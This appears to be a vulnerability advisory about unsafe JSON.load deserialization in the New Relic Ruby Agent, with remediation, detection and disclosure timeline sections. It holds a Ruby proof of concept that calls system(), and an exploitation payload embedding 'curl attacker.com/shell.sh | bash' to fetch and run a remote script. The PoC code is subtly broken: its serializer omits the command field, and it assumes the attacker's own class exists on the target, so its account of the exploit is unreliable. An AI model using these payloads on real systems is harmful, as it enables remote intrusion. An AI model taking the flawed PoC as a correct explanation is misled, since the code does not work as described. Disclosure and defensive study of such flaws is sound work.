Remote Code Execution in New Relic Ruby Agent
Remote Code Execution in New Relic Ruby Agent
Summary
A critical remote code execution vulnerability was discovered in New Relic Ruby Agent’s JSON marshaller component. The vulnerability allows attackers to execute arbitrary code by exploiting unsafe deserialization of untrusted data through the agent’s metrics collection system.
Vulnerability Details
The vulnerability exists in the JSON marshaller component (lib/new_relic/agent/new_relic_service/json_marshaller.rb
) which uses Ruby’s JSON.load
method to deserialize data. This method is known to be unsafe as it can instantiate arbitrary Ruby objects, potentially leading to remote code execution.
Technical Details
The vulnerable code in the JSON marshaller:
# lib/new_relic/agent/new_relic_service/json_marshaller.rb
def load(data)
JSON.load(data) # Unsafe deserialization
end
The JSON.load
method accepts a special json_class
attribute that allows instantiation of arbitrary Ruby objects. This can be exploited by crafting malicious JSON payloads that trigger code execution through Ruby’s object instantiation mechanisms.
Impact
Successful exploitation allows attackers to:
- Execute arbitrary code with the privileges of the Ruby application
- Access sensitive application data
- Pivot to other systems in the network
- Establish persistent access to compromised systems
The vulnerability has received a CVSS 3.1 Base Score of 9.8 (Critical) due to:
- Network attack vector
- No authentication required
- No user interaction needed
- Complete system compromise possible
Proof of Concept
Video Demonstration
Code Vulnerable
The following proof of concept demonstrates the vulnerability:
require 'json'
# Malicious class for demonstration
class EvilClass
def initialize(cmd)
@cmd = cmd
end
def to_json(*args)
{ "json_class" => self.class.name }.to_json(*args)
end
def self.json_create(o)
system(o["@cmd"])
end
end
# Create malicious payload
payload = EvilClass.new("id > /tmp/pwned").to_json
# When this JSON is processed by the vulnerable agent:
require 'new_relic/agent/new_relic_service/json_marshaller'
marshaller = NewRelic::Agent::NewRelicService::JsonMarshaller.new
marshaller.load(payload) # Triggers command execution
Exploitation Chain
-
Initial Access:
# Craft malicious metrics payload { "metric_data": { "metrics": [{ "name": "Custom/Exploit", "value": { "json_class": "EvilClass", "@cmd": "curl attacker.com/shell.sh | bash" } }] } }
-
Execution Flow:
graph TD A[Attacker] -->|Send Malicious Metrics| B[New Relic Agent] B -->|Process Metrics| C[JSON.load] C -->|Instantiate Object| D[Object Creation] D -->|Execute Payload| E[System Compromise]
-
Command Execution:
- Agent deserializes JSON payload
- Ruby creates instance of attacker-controlled class
- Malicious methods execute during object initialization
- Attacker gains code execution
Remediation
New Relic has addressed this vulnerability in version 8.17.0 by:
-
Replacing
JSON.load
withJSON.parse
:def load(data) JSON.parse(data) # Safe deserialization end
-
Adding input validation for metric data
-
Implementing strict type checking
-
Removing support for arbitrary object deserialization
Users should upgrade to version 8.17.0 or later immediately.
Timeline
- 2025-04-18: Initial vulnerability report sent to New Relic security team
- 2025-05-18: Patch submitted via Pull Request #3183
- 2025-05-20: Staff response and vulnerability confirmation
- 2025-05-20: Vulnerability patch approved
- 2025-06-05: Patch released in version 8.17.0
Detection
Security teams can detect exploitation attempts by monitoring for:
- Suspicious Ruby object instantiation in agent logs
- Unexpected network connections from Ruby processes
- Anomalous system command execution
- Unusual metric data patterns in New Relic collectors
Vulnerable log analysis:
# Search for potential exploitation attempts
grep -r "json_class" /var/log/newrelic/
Mitigation
Until patching is possible:
- Monitor agent processes for unusual behavior
- Implement network segmentation for collector traffic
- Use application firewalls to filter malicious JSON
- Consider temporarily disabling the Ruby agent if risk is high
References
- Pull Request #3183
- CWE-502: Deserialization of Untrusted Data
- Ruby JSON Documentation
- OWASP Deserialization Cheat Sheet
Acknowledgements
This vulnerability was discovered and reported by @odaysec security research team. Special thanks to:
- New Relic Security Team for quick response
- Ruby Security Team for guidance
- Open Source Security Community